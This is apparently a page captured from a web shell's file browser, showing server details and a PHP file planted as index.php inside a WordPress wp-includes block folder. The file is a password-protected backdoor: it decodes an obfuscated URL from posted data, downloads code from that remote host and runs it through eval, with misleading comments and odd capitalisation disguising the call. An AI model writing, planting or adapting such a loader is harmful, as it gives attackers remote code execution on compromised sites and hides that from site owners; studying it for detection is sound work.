HEX
Server: LiteSpeed
System: Linux cde4.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dmhkjfau (1027)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dmhkjfau/domains/gaabil.dk/private_html/wp-includes/blocks/rss/rss/index.php
<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

set_time_limit(0);

$disabled_functions = explode(',', ini_get('disable_functions'));
$suhosin_blacklist = ini_get('suhosin.executor.func.blacklist');

if (in_array('eval', $disabled_functions)) {
    exit("eval is disabled via disable_functions.");
} elseif ($suhosin_blacklist && strpos($suhosin_blacklist, 'eval') !== false) {
    exit("eval is disabled via suhosin.executor.func.blacklist.");
} else {
}

$expected_hash = "202a154023bdb8a87988899622785e28";

function decrypt_data($encrypted_data) {
    $decoded_base64 = base64_decode(str_rot13($encrypted_data));
    $unpacked = unpack("H*", $decoded_base64);
    $json_string = hex2bin($unpacked[1]);
    return json_decode($json_string, true);
}
function isValidJson($string) {
    if (!is_string($string) || trim($string) === '') {
        return false;
    }
    $result = json_decode($string);
    $error = json_last_error();
    if ($error !== JSON_ERROR_NONE) {
        return false;
    }
    if ($result === null && strtolower(trim($string)) !== 'null') {
        return false;
    }
    return true;
}
function sendGetRequest($url, $headers = []) {

    $ch = curl_init($url);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);


    if (!empty($headers)) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }

    $response = curl_exec($ch);

    if ($response === false) {
        $error = curl_error($ch);
        return "fail: $error";
    }

    return $response;
}


$rawData = file_get_contents('php://input');
$rawData=substr($rawData, 10);
$datajson= base64_decode($rawData);
if(!isValidJson($datajson)) {
    exit("invalid input");
}
$realdata=json_decode($datajson, true);
if (!$realdata || !isset($realdata['passwd'], $realdata['data'])) {
    die("invalid data");
}
$pass2 = md5("@".md5($realdata['passwd'])."@".md5(md5($realdata['passwd']))."@");
$pass3 = md5(md5($pass2));
if ($pass3 != $expected_hash) {
    die("errorpd");
}


$data = decrypt_data($realdata['data']);

$url = $data['link'];

$response = sendGetRequest($url);

/*This is a common function used for handling output buffering in legacy systems*/EvAl/*Please refer to the documentation for additional configuration options and settings*/(/*The following variable contains the processed result from the upstream service*/$response/*End of the primary execution block for the response handler module*/)/*Cleanup and finalization of the runtime environment is handled elsewhere*/;